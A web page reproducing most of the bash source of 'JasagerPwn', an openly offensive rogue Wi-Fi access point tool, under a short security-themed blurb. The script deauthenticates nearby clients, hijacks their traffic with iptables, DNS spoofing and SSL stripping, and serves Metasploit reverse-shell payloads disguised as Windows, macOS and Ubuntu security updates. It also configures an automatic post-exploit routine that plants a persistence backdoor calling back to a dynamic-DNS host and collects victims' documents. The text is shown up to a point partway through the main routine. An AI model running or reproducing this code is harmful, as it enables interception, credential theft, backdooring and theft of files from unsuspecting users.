seen from T1
seen from Canada
seen from China
seen from Türkiye
seen from Malaysia
seen from United States
seen from Italy
seen from United States
seen from China
seen from United States
seen from France
seen from China
seen from T1
seen from Indonesia
seen from T1
seen from United States
seen from United States
seen from Sweden
seen from Russia
seen from United States
You can't hide from hackers. Armor up and fight back! ________ Securing computers is difficult. Defending it means you have to protect every weakness. Unfortunately, hackers only need to find one weakness. ________ #cybersecurity, #threatmonitoring, #safeguards #software, #internet #financial, #privacy #cyberspace, #hacker #computercompany #hipaa #pcidss #fisma #polymorphic #safeharbor #programming #attackvector
JasagerPwn Attack
#!/bin/bash
#leg3nd's JasagerPwn Attack - v1.1 Final - rev8
#ATTACKS - browserPwn - Redirect LAN to Metasloits auxillary module browser autoPwn for sessions
# - FakeUpdate - Redirect LAN to fake update page with metasploit payload download.
# - Java Applet - Redirects LAN to a java applet with meterpreter payload. via SET.
# - Sniffer - Justs picks up traffic with no ARP posioning, and perfect ssl stripping
# - DeAuth - Deauths nearby clients from their APs and try to make them join yours
#
# Allows control of internet transparency of all attacks via built in bash menu.
# Reqires: Aircrack-ng suite (w/ airdrop-ng), Metasploit Framework, Social Engineering Toolkit, Dsniff suite
# Apache2, working ruby and python, Injection, DHCP3, SSLstrip, PHP5, Macchanger.
#
# Created for and tested with an RTL8187 monitor mode card, and a open-WRT Fon+ (Pineapple).
# For More Information refer to INSTALL_HOWTO, usage information -h / -?, or post on Hak5 Forums.
#SCRIPT CONFIGURATION BELOW - ADJUST TO YOUR WIFI CONFIGURATION
IFACE="eth1" #Connection to the internet (gateway), EG wlan0,eth1,usb0,ppp0,etc
WiFiMODE="1" #Use WiFi For Internet Gateway (Will create a DeAuth Rule so you dont own yourself) EG 0,1
fonIP="192.168.10.2" #Fon router Iface IP, this is -HARDCODED- to 192.168.10.0 subnet, the dhcp.conf is below to change.
FONIFACE="eth2" #Interface facing the Jasager router
WIFACE="wlan0" #Wireless Interface, EG wlan0,ath0,wifi0
MIFACE="mon0" #Monitor Interface for Attacks
#Macchanger, ONLY FOR ATTACK INTERFACES
macMode="set" #Mac spoofing mode - set / random (case sensitive)
fakeMac="00:e0:f7:99:e1:30" # 00:e0:f7:99:e1:30 (Cisco Systems, Inc.) lawl
ourAPmac="00:12:CF:A4:DF:26" #Pineapple MAC so we dont DeAuth Ourselves!
msfpath="/pentest/exploits/framework3" #Metasploit Location (if not BT5, use msf3 directory)
SETpath="/pentest/exploits/set" #Social Engineering Toolkit Location
DomainName="Networking.com" #Domain name for DHCP configuration.
######################################################################################################################
#Funcion can be used to customize post-exploit meterpreter script. This example steals documents and adds a DNS backdoor.
#This slightly modified persistence script supports D-DNS tracking (like dyndns.org or no-ip)
autoMetScript="0" #Allows you to automaticlly run a meterpreter persistence script on the victim.
Pport="31337" # persistence backdoor port
PersIP="Your.dyndns-ip.com" # Your dyndns or no-ip for backdoors
function metScript(){
if [ -e "$SETpath/src/program_junk/multi_meter.file" ] ; then rm "$SETpath/src/program_junk/multi_meter.file" ; fi #Dont touch this line
# EDIT METERPRETER SCRIPT BELOW THIS, INSIDE THE ECHO QUOTES
echo -e "persistence_dns -r $PersIP -p $Pport -i 60 -X -A
file_collector -d c:\\Users\\ -r -f *.doc|*.pdf|*.xls|*.docx| -o /tmp/files
file_collector -i /tmp/files -l $SPWD/collected/
" > $SETpath/src/program_junk/multi_meter.file #DONT CHANGE THIS PATH
}
#DHCP Configuration - Change if you want a different subnet.
if [ -e "/etc/dhcp3/dhcpd.conf" ]; then mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.ORIGINAL ; fi
if [ -e "/tmp/dhcpd.conf" ]; then rm /tmp/dhcpd.conf; fi
echo -e "#jasagerPwn.dhcp
ddns-update-style none;
one-lease-per-client false;
authoritative;
ignore client-updates;
default-lease-time 60; # 24 hours=86400
max-lease-time 72; # 48 hours=172800
log-facility local7;\n
subnet 192.168.10.0 netmask 255.255.255.0 {
interface $FONIFACE;
range 192.168.10.3 192.168.10.254;
option routers 192.168.10.2;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.10.255;
option domain-name-servers $fonIP;
option domain-name \"$DomainName\";
allow unknown-clients;
}" >> /etc/dhcp3/dhcpd.conf
####-END SCRIPT CONFIG-######
#====================================================================================================================
####################################################################################################################
#SCRIPT VARIABLES - DO NOT TOUCH - HARDCODED AND SENSITIVE
#REQUIRED CHECKS FOR FUNCTIONALITY
version="1.1"
rev="8"
Jwww="/var/www/javapwn"
Gwww="/var/www/google"
Fwww="/var/www/fakeupdate"
gatewayIP=`route -n | awk '/^0.0.0.0/ {getline; print $2}'`
WIFcheck=`ifconfig | grep $WIFACE | awk '{ print $1 }'`
IFcheck=`ifconfig | grep $IFACE | awk '{ print $1 }'`
NOW=$(date +"%b-%d_%H:%m:%S")
sslport="11000"
SPWD=`echo $PWD`
osxPORT="30505"
nixPORT="30504"
winPORT="30503"
pyPORT="30502"
javasite="1"
sniffing="0"
wasSniffing="0"
fakeupdate="0"
browserpwn="0"
javaATK="0"
z="1"
moncheck=`ifconfig | grep $MIFACE | awk '{print $1}' | cut -b 4`
ATKcheck=`ifconfig | grep $MIFACE | awk '{print $1}' | cut -b 4`
ourIP=`ifconfig $FONIFACE | awk '/inet addr/ {split ($2,A,":"); print A[2]}'`
wifiMAC=`ifconfig $IFACE | grep "HWaddr" | awk '{print $5}' | tr "[a-z]" "[A-Z]"`
googleRev=`wget -qO- "http://jasagerpwn.googlecode.com/svn/trunk/" | grep "<title>jasagerpwn - Revision" | awk -F " " '{split ($4,A,":"); print A[1]}'`
trap 'cleanup' 2 # Interrupt - "Ctrl + C"
#-----------------------------------------------------------------------
function help() { #help
echo "
- Version $version - Revision $rev -
(C)opyright 2011 leg3nd @ www.info-s3curity.com
Usage: bash jasagerPwn -i [interface] -m [random/set] -s [00:11:22:33:44:55]
-p [31337] -a [0/1] -w [interface]
Options:
-a [0/1] : Auto-Run Meterpreter Script, Customize in script. Current = $autoMetScript
-p [31337] : Auto-Run Scripts persistence Port. Current = $Pport
-i [interface] : Internet Gateway Interface. Current = $IFACE
-w [interface] : WiFi Card Interface. Current = $WIFACE
-d [0/1] : WiFi Gateway Mode - Adds DeAuth Rule For Yourself. Current = $WiFiMODE
-m [random/set] : Change the Attack Interfaces MAC Address. Current = $macMode
-s [MAC] : Use this MAC Address. Requires -m. Current = $fakeMac
-u : Update script and its resources from Google Code.
-U : Update script, SET, and Metasploit.
-? / -h : Help Screen and Switches. More Information In top of script.
For Installation, setup, and more information, please reference the INSTALL file, wiki, or
Post on the hak5 forums. Please leave comments in the Hak5 thread!
"
exit 1
}
function IPTABLES(){
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables --flush"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables --table nat --flush"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables --delete-chain"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables --table nat --delete-chain"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables -X"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables -F"
sleep 4
iptables -P FORWARD ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $FONIFACE -o $IFACE -m state --state NEW -j ACCEPT
iptables -t nat -A PREROUTING --in-interface $FONIFACE -p udp --dport 53 -j DNAT --to $gatewayIP
iptables --append FORWARD --in-interface $FONIFACE -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface $IFACE -j MASQUERADE
ifconfig $FONIFACE $fonIP
}
function ipTableRedirect {
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables --flush"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables --table nat --flush"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables --delete-chain"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables --table nat --delete-chain"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables -X"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Clearing IPTables" -e "iptables -F"
sleep 4
if [ $sniffing -eq "1" ] ; then
#iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports $sslport
#iptables --table nat --append PREROUTING --proto tcp --destination-port 80 --jump REDIRECT --to-port 80
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing Tail" -e "kill $TAILPID" &
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing SSLStrip" -e "killall -9 sslstrip" &
wasSniffing=$sniffing
sniffing="0"
fi
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface $FONIFACE -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface $IFACE -j MASQUERADE
iptables -t nat -A PREROUTING --in-interface $FONIFACE -p udp -j DNAT --to $fonIP
sleep .5
iptables --table nat --append PREROUTING --in-interface $FONIFACE --proto tcp --jump DNAT --to $fonIP
iptables --table nat --append PREROUTING --in-interface $FONIFACE --jump REDIRECT
iptables --table nat --append PREROUTING --in-interface $FONIFACE
#redirect all traffic to us
#iptables -t nat -A PREROUTING -i $FONIFACE -j REDIRECT
ifconfig $FONIFACE $fonIP
}
#Script update via google code
function update(){
if [ ! $googleRev ]; then
echo -e "\e[01;31m[!]\e[00m ERROR: Couldn't resolve revision from google.."
exit 1
elif [ $googleRev -lt $rev ]; then
echo -e "\e[01;31m[!]\e[00m UPDATE: JasagerPwn Revisions have been RESET, Please Re-Download It!"
echo -e "\e[01;31m[!]\e[00m Command: svn checkout http://jasagerpwn.googlecode.com/svn/trunk/ jasager-pwn"
exit 1
elif [ $googleRev -gt $rev ]; then
echo -e "\e[01;36m[~]\e[00m leg3nd's JasagerPwn v$version rev$rev - Updating to rev$googleRev..."
wget -q -N -P "$SPWD/" "http://jasagerpwn.googlecode.com/svn/trunk/jasagerPwn"
wget -q -N -P "$SPWD/" "http://jasagerpwn.googlecode.com/svn/trunk/INSTALL_HOWTO"
wget -q -N -P "$SPWD/src/resources/" "http://jasagerpwn.googlecode.com/svn/trunk/src/resources/persistence_dns.rb"
wget -q -N -P "$SPWD/src/resources/" "http://jasagerpwn.googlecode.com/svn/trunk/src/deauth.sh"
#FakeUpdate (wwwFakeUpdate)
for Fitems in "index.php" ; do
if [ -e "$SPWD/src/wwwFakeUpdate/" ] ; then wget -q -N -P "$SPWD/src/wwwFakeUpdate/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwFakeUpdate/$Fitems" ; fi
done
#FakeUpdate MS
for FitemsMS in "index.html" ; do
if [ -e "$SPWD/src/wwwFakeUpdate/ms/" ] ; then wget -q -N -P "$SPWD/src/wwwFakeUpdate/ms/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwFakeUpdate/ms/$FitemsMS" ; fi
done
#FakeUpdate OSX
for FitemsOSX in "index.html" ; do
if [ -e "$SPWD/src/wwwFakeUpdate/osx/" ] ; then wget -q -N -P "$SPWD/src/wwwFakeUpdate/osx/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwFakeUpdate/osx/$FitemsOSX" ; fi
done
#FakeUpdate Linux
for FitemsNIX in "index.html" ; do
if [ -e "$SPWD/src/wwwFakeUpdate/ubuntu/" ] ; then wget -q -N -P "$SPWD/wwwFakeUpdate/ubuntu/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwFakeUpdate/ubuntu/$FitemsNIX" ; fi
done
#JavaPwn
for Jitems in "index.template" "index.template.plain" ; do
if [ -e "$SPWD/src/wwwJava/" ] ; then wget -q -N -P "$SPWD/src/wwwJava/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwJava/$Jitems" ; fi
done
for Jitems2 in "global.js" "index.jsp" "oo_conf_en-US.js" "oo_engine.js" "popUp.js" "print.css" "s_code_remote.js" "screen.css" ; do
if [ -e "$SPWD/src/wwwJava/temp/" ] ; then wget -q -N -P "$SPWD/src/wwwJava" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwJava/temp/$Jitems2" ; fi
done
for Gitems in "index.template" ; do
if [ -e "$SPWD/src/wwwGoogle/" ] ; then wget -q -N -P "$SPWD/src/wwwGoogle/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwGoogle/$Gitems" ; fi
done
for Gitems2 in "favicon.ico" "gzip.html" "js1.js" ; do
if [ -e "$SPWD/src/wwwGoogle/temp/" ] ; then wget -q -N -P "$SPWD/wwwGoogle/temp/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwGoogle/temp/$Gitems2" ; fi
done
elif [ $googleRev -eq $rev ]; then
echo -e "\e[01;36m[~]\e[00m leg3nd's JasagerPwn v$version rev$rev - Your Already Up To Date!"
fi
echo -e "\e[01;36m[~]\e[00m leg3nd's JasagerPwn v$version rev$googleRev - All Done!"
exit 1
}
#Full update including MSF/SET
function Fupdate(){
echo -e "\e[01;36m[~]\e[00m leg3nd's JasagerPwn v$version rev$googleRev - Updating Metasploit.."
xterm -fg green -bg black -geometry 75x20+0+0 -T "JasagerPwn v$version rev$googleRev - Metaploit Update" -e "cd $msfpath && ./msfupdate"
echo -e "\e[01;36m[~]\e[00m leg3nd's JasagerPwn v$version rev$googleRev - Updating SET.."
xterm -fg green -bg black -geometry 75x20-0+0 -T "JasagerPwn v$version rev$googleRev - SET Update" -e "cd $SETpath && python set-update"
if [ ! $googleRev ]; then
echo -e "\e[01;31m[!]\e[00m ERROR: Couldn't resolve revision from google.."
exit 1
elif [ $googleRev -lt $rev ]; then
echo -e "\e[01;31m[!]\e[00m ERROR: Your revision number is higher then it should be... "
exit 1
elif [ $googleRev -gt $rev ]; then
echo -e "\e[01;36m[~]\e[00m leg3nd's JasagerPwn v$version rev$rev - Updating to rev$googleRev..."
wget -q -N -P "$SPWD/" "http://jasagerpwn.googlecode.com/svn/trunk/jasagerPwn"
wget -q -N -P "$SPWD/" "http://jasagerpwn.googlecode.com/svn/trunk/INSTALL_HOWTO"
wget -q -N -P "$SPWD/src/" "http://jasagerpwn.googlecode.com/svn/trunk/src/resources/persistence_dns.rb"
wget -q -N -P "$SPWD/src/" "http://jasagerpwn.googlecode.com/svn/trunk/src/deauth.sh"
#FakeUpdate (wwwFakeUpdate)
for Fitems in "index.php" ; do
if [ -e "$SPWD/src/wwwFakeUpdate/" ] ; then wget -q -N -P "$SPWD/src/wwwFakeUpdate/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwFakeUpdate/$Fitems" ; fi
done
#FakeUpdate MS
for FitemsMS in "index.html" ; do
if [ -e "$SPWD/src/wwwFakeUpdate/ms/" ] ; then wget -q -N -P "$SPWD/src/wwwFakeUpdate/ms/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwFakeUpdate/ms/$FitemsMS" ; fi
done
#FakeUpdate OSX
for FitemsOSX in "index.html" ; do
if [ -e "$SPWD/src/wwwFakeUpdate/osx/" ] ; then wget -q -N -P "$SPWD/src/wwwFakeUpdate/osx/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwFakeUpdate/osx/$FitemsOSX" ; fi
done
#FakeUpdate Linux
for FitemsNIX in "index.html" ; do
if [ -e "$SPWD/src/wwwFakeUpdate/ubuntu/" ] ; then wget -q -N -P "$SPWD/wwwFakeUpdate/ubuntu/" "http://jasagerpwn.googlecode.com/svn/trunk/src/wwwFakeUpdate/ubuntu/$FitemsNIX" ; fi
done
#JavaPwn (wwwJava)
for Jitems in "index.template" "index.template.plain" ; do
if [ -e "$SPWD/src/wwwJava/" ] ; then wget -q -N -P "$SPWD/src/wwwJava/" "http://jasagerpwn.googlecode.com/svn/trunk/wwwJava/$Jitems" ; fi
done
for Jitems2 in "global.js" "index.jsp" "oo_conf_en-US.js" "oo_engine.js" "popUp.js" "print.css" "s_code_remote.js" "screen.css" ; do
if [ -e "$SPWD/src/wwwJava/temp/" ] ; then wget -q -N -P "$SPWD/src/wwwJava" "http://jasagerpwn.googlecode.com/svn/trunk/wwwJava/temp/$Jitems2" ; fi
done
#Google (wwwGoogle)
for Gitems in "index.template" ; do
if [ -e "$SPWD/src/wwwGoogle/" ] ; then wget -q -N -P "$SPWD/src/wwwGoogle/" "http://jasagerpwn.googlecode.com/svn/trunk/wwwGoogle/$Gitems" ; fi
done
for Gitems2 in "favicon.ico" "gzip.html" "js1.js" ; do
if [ -e "$SPWD/src/wwwGoogle/temp/" ] ; then wget -q -N -P "$SPWD/wwwGoogle/temp/" "http://jasagerpwn.googlecode.com/svn/trunk/wwwGoogle/temp/$Gitems2" ; fi
done
elif [ $googleRev -eq $rev ]; then
echo -e "\e[01;36m[~]\e[00m leg3nd's JasagerPwn v$version rev$rev - Your Already Up To Date!"
fi
echo -e "\e[01;36m[~]\e[00m leg3nd's JasagerPwn v$version rev$googleRev - All Done!"
exit 1
}
#function for fluid use of both SET templates
function JavaSite(){
GoogCheck=`cat $SETpath/config/set_config | grep "APACHE_DIRECTORY=/var/www/javapwn"`
#1 = google 2 = java required
if [ "$javasite" -eq "1" ] && [ "$GoogCheck" = "APACHE_DIRECTORY=/var/www/javapwn" ]; then
sed ''${SETapacheDIR}'s!APACHE_DIRECTORY=/var/www/javapwn!APACHE_DIRECTORY=/var/www/google!' $SETpath/config/set_config > $SETpath/config/set_configJ
sleep 1
mv $SETpath/config/set_configJ $SETpath/config/set_config
elif [ "$javasite" -eq "2" ]; then
sed ''${SETapacheDIR}'s!APACHE_DIRECTORY=/var/www/google!APACHE_DIRECTORY=/var/www/javapwn!' $SETpath/config/set_config > $SETpath/config/set_configG
sleep 1
mv $SETpath/config/set_configG $SETpath/config/set_config
fi
}
function sslstrip(){
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports $sslport
xterm -geometry 75x3+1-25 -bg black -fg green -e "sslstrip -l $sslport && sleep 3" &
if [ ! -e sslstrip.log ]; then touch sslstrip.log; fi
xterm -geometry 75x24+464+65 -bg black -fg green -T "SSLStrip Sniffing" -e "tail -f sslstrip.log" &
TAILPID=`echo $!`
sniffing="1"
wasSniffing=$sniffing
}
function cleanup() {
echo
echo -e "\e[01;32m[>]\e[00m Cleaning up..."
if [ -e /tmp/dhcpd.conf ]; then rm -f /tmp/dhcpd.conf; fi
resolvIDs=`ps aux | grep "bash /tmp/resolv" | grep -v grep | awk '{ print $2 }'`
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing DriftNET" -e "kill `echo $resolvIDs | awk '{ print $1 }'` ; kill `echo $resolvIDs | awk '{ print $2 }'` ; kill `echo $resolvIDs | awk '{ print $3 }'`" &
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing DriftNET" -e "killall -9 driftnet" &
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing SSLStrip" -e "killall -9 sslstrip" &
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing Apache" -e "/etc/init.d/apache2 stop" &
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing Tail" -e "kill $DNSID" &
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing Dsniff" -e "kill $dsniffID" &
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing Tail" -e "kill $TAILPID" &
#xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing SSL Parsing" -e "kill $parseID" &
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing DHCP" -e "kill $messageID" &
xterm -geometry 75x12+464+288 -bg black -fg green -T "JasagerPwn v$version - Killing DeAuth Attacks" -e "kill $AIRDROPID && kill $AIRDUMPID && kill $airID && kill $ipID && kill $dnsID2 && kill $parseID" &
#xterm -geometry 75x7+10+330 -T "[leg3nd-BrowserPwn] v$version - Killing DNSSpoof" -e "killall -9 dnsspoof" &
xterm -geometry 75x7+10+330 -T "[JasagerPwn-BrowserPwn] v$version - Killing DHCP3" -e "/etc/init.d/dhcp3-server stop"
xterm -geometry 75x7+10+330 -T "[JasagerPwn-BrowserPwn] v$version - Killing URLSnarf" -e "killall -9 urlsnarf"
xterm -geometry 75x7+10+330 -T "[JasagerPwn-BrowserPwn] v$version - Killing DSniff" -e "killall -9 dsniff"
xterm -geometry 75x8+100+0 -T "v$version - Killing 'IPtables'" -e "iptables -F" &
xterm -geometry 75x8+100+0 -T "v$version - Killing 'IPtables'" -e "iptables -X" &
#Clean up our cfgs
if [ -e "$PWD/dsniff.services" ]; then rm "$PWD/dsniff.services" ; fi
if [ -e "$SPWD/*.png" ]; then rm "$SPWD/*.png" ; fi
if [ -d "$SETpath/src/html/templates/java/temp/" ]; then rm -rf $SETpath/src/html/templates/java/temp/ ; fi
if [ -d "$SETpath/src/html/templates/google/temp/" ]; then rm -rf $SETpath/src/html/templates/google/temp/ ; fi
if [ -e "$SETpath/src/html/templates/java/index.template" ] && [ -e "$SETpath/src/html/templates/java/index.template.ORIGINAL" ]; then
mv "$SETpath/src/html/templates/java/index.template.ORIGINAL" "$SETpath/src/html/templates/java/index.template"
fi
APACHEDIR=`cat $SETpath/config/set_config | grep "/var/www/javapwn"`
if [ -e "$SETpath/src/html/templates/google/index.template.ORIGINAL" ] ; then mv $SETpath/src/html/templates/google/index.template.ORIGINAL $SETpath/src/html/templates/google/index.template ; fi
if [ -e "$SETpath/src/html/templates/java/index.template.ORIGINAL" ] ; then mv $SETpath/src/html/templates/java/index.template.ORIGINAL $SETpath/src/html/templates/java/index.template ; fi
if [ -e "$SETpath/config/set_config.ORIGINAL" ] ; then mv $SETpath/config/set_config.ORIGINAL $SETpath/config/set_config ; fi
if [ -e "/etc/dhcp3/dhcpd.conf" ] && [ -e "/etc/dhcp3/dhcpd.conf.ORIGINAL" ] ; then rm /etc/dhcp3/dhcpd.conf && mv /etc/dhcp3/dhcpd.conf.ORIGINAL /etc/dhcp3/dhcpd.conf ; fi
if [ -e "/etc/resolv.conf" ] && [ -e "/etc/resolv.conf.ORIGINAL" ] ; then rm /etc/resolv.conf && mv /etc/resolv.conf.ORIGINAL /etc/resolv.conf ; fi
if [ -e "$SPWD/src/wwwFakeUpdate/ubuntu/index.html.ORIGINAL" ] ; then cp -f $SPWD/src/wwwFakeUpdate/ubuntu/index.html.ORIGINAL $SPWD/src/wwwFakeUpdate/ubuntu/index.html ; fi
if [ -e "$SPWD/src/wwwFakeUpdate/osx/index.html.ORIGINAL" ] ; then cp -f $SPWD/src/wwwFakeUpdate/osx/index.html.ORIGINAL $SPWD/src/wwwFakeUpdate/osx/index.html ; fi
if [ -e "/tmp/msfrcBP" ]; then rm "/tmp/msfrcBP"; fi
if [ -e "/tmp/msfrcFU" ]; then rm "/tmp/msfrcFU"; fi
if [ -e "/tmp/jasagerpwn.dns" ]; then rm "/tmp/jasagerpwn.dns"; fi
if [ -e "/tmp/deauth.conf" ]; then rm "/tmp/deauth.conf"; fi
if [ -e "/tmp/auto-google2" ]; then rm "/tmp/auto-google2"; fi
if [ -e "/tmp/auto-java2" ]; then rm "/tmp/auto-java2"; fi
if [ -e "/tmp/resolv.sh" ]; then rm "/tmp/resolv.sh"; fi
if [ -e "$SPWD/sslstrip.log" ]; then mv "$SPWD/sslstrip.log" "$SPWD/collected/$NOW-sslstrip.log"; fi
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing Self" -e "killall -9 jasagerPwn" &
echo -e "\e[01;36m[~]\e[00m Exiting with elegance.."
exit 0
}
function fakeupdate(){
ourIP=`ifconfig $FONIFACE | awk '/inet addr/ {split ($2,A,":"); print A[2]}'`
if [ -e "$pwd/src/wwwFakeUpdate/ms/Windows-KB183905-x86-ENU.exe" ]; then rm -f "$pwd/src/wwwFakeUpdate/ms/Windows-KB183905-x86-ENU.exe"; fi
if [ -e "$pwd/src/wwwFakeUpdate/osx/SecurityUpdate1-83-90-5.dmg.bin" ]; then rm -f "$pwd/src/wwwFakeUpdate/osx/SecurityUpdate1-83-90-5.dmg.bin"; fi
if [ -e "$pwd/src/wwwFakeUpdate/ubuntu/USN1228.bin" ]; then rm -f "$pwd/src/wwwFakeUpdate/ubuntu/USN1228.bin"; fi
if [ -e "$pwd/src/wwwFakeUpdate/ubuntu/nix.bin" ]; then rm -f "$pwd/src/wwwFakeUpdate/ubuntu/nix.bin"; fi
if [ -e "$Fwww/osx/SecurityUpdate1-83-90-5.dmg.bin" ]; then rm -f "$Fwww/osx/SecurityUpdate1-83-90-5.dmg.bin"; fi
if [ -e "$Fwww/ubuntu/USN1228.bin" ]; then rm -f "$Fwww/ubuntu/USN1228.bin"; fi
if [ -e "$Fwww/ubuntu/nix.bin" ]; then rm -f "$Fwww/ubuntu/nix.bin"; fi
#xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (OSX)" -e "msfpayload osx/x86/shell_reverse_tcp LPORT=$osxPORT LHOST=$fonIP X > $Fwww/osx/SecurityUpdate1-83-90-5.dmg.bin"
xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (OSX)" -e "msfpayload osx/x86/shell_reverse_tcp LPORT=$osxPORT LHOST=$fonIP X > $Fwww/osx/osx.bin"
#xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (Linux)" -e "msfpayload linux/x86/shell_reverse_tcp LPORT=$nixPORT LHOST=$fonIP X > $Fwww/ubuntu/USN1228.bin"
xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (Linux)" -e "msfpayload linux/x86/shell/reverse_tcp LPORT=$nixPORT LHOST=$fonIP X > $Fwww/ubuntu/nix.bin"
sleep .5 && xterm -geometry 110x42+464-38 -bg black -fg green -T "[Metasploit Handler] v$version - Metasploit" -e "msfconsole -r /tmp/msfrcFU" &
echo -e "\e[01;33m[!]\e[00m Forcing LAN to visit our site..."
ipTableRedirect
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version - Killing DNSSpoof" -e "killall -9 dnsspoof" &
sleep .5 && xterm -geometry 75x7+0-36 -bg black -fg green -T "[JasagerPwn-DNS Spoof] v$version - DNSSpoof" -e "dnsspoof -i $FONIFACE -f /tmp/jasagerpwn.dns" &
echo -e "\e[01;33m[>]\e[00m Starting Web Server @ $fonIP:80..."
xterm -geometry 75x8+100+0 -T "v$version - Starting Apache2" -e "/etc/init.d/apache2 restart"
service apache2 restart > /dev/null
sleep .5
xterm -geometry 75x8+100+0 -T "v$version - Starting Apache2" -e "ls /etc/apache2/sites-available/ | xargs a2dissite && a2ensite fakeupdate && a2enmod php5 && /etc/init.d/apache2 reload"
fakeupdate="1"
}
#had to add another fuction becuase of the MSF-RC file , probably a more elegant way to approach this.
function updateLoop(){
while true
do
if [ $browserpwn -eq 1 ]; then break; fi
if [ $javaATK -eq 1 ]; then break; fi
echo
echo -e "\e[01;33m[MODE][==========-FakeUpdate Attack-==========][!]\e[00m"
#read -r -p "[?] Enter [I] to give Internet back or [M] for Main Menu: " USR_CHOICE1
echo -e -n "\e[01;33m[!]\e[00m [S][1] to Stop Attack or [M][2] for Main Menu: "
read -e USR_CHOICE96
case $USR_CHOICE96 in
S|s|Stop|stop|1)
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-IPTABLES] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $FONIFACE"
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-IPTABLES] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $FONIFACE --jump REDIRECT"
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-IPTABLES] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $FONIFACE --proto tcp --jump DNAT --to $fonIP"
IPTABLES
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version" -e "killall -9 dnsspoof" &
xterm -geometry 75x5+0+94 -bg black -fg green -T "[JasagerPwn-Apache Kill] v$version" -e "/etc/init.d/apache2 stop" &
fakeupdate="0"
if [ $wasSniffing != "0" ]; then sslstrip ; fi
echo -e "\e[01;33m[!]\e[00m DONT FORGET TO RUN 'ipconfig /flushdns' ON VICTIM!!"
break
;;
M|m|Menu|menu|2)
break
;;
*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
esac
done
}
while getopts "a:p:i:w:m:s:d:h?uU" OPTIONS; do
case ${OPTIONS} in
a ) autoMetScript="$OPTARG" ;;
p ) Pport="$OPTARG" ;;
d ) WiFiMODE="$OPTARG" ;;
i ) IFACE="$OPTARG" ;;
w ) WIFACE="$OPTARG" ;;
h ) help ;;
m ) macMode="$OPTARG" ;;
s ) fakeMac="$OPTARG" ;;
u ) update ;;
U ) Fupdate ;;
? ) help ;;
* ) echo -e "\e[01;31m[!]\e[00m Error: Unknown Switch Option" 1>&2 ;; # Default
esac
done
ifconfig $WIFACE up && sleep .5
gatewayIP=`route -n | awk '/^0.0.0.0/ {getline; print $2}'`
WIFcheck=`ifconfig | grep $WIFACE | awk '{ print $1 }'`
IFcheck=`ifconfig | grep $IFACE | awk '{ print $1 }'`
ifconfig $FONIFACE $fonIP
#make sure our IP doesnt get screwy from any dhcp..
while true ; do ifconfig $FONIFACE $fonIP && sleep 1 ; done &
ipID=`echo $!`
gatewayIP=`route -n | awk '/^0.0.0.0/ {getline; print $2}'`
#check for required interfaces
if [ "$WIFcheck" != "$WIFACE" ]; then
echo -e "\e[01;31m[!]\e[00m FATAL: Cannot Locate $WIFACE..." && exit 0
fi
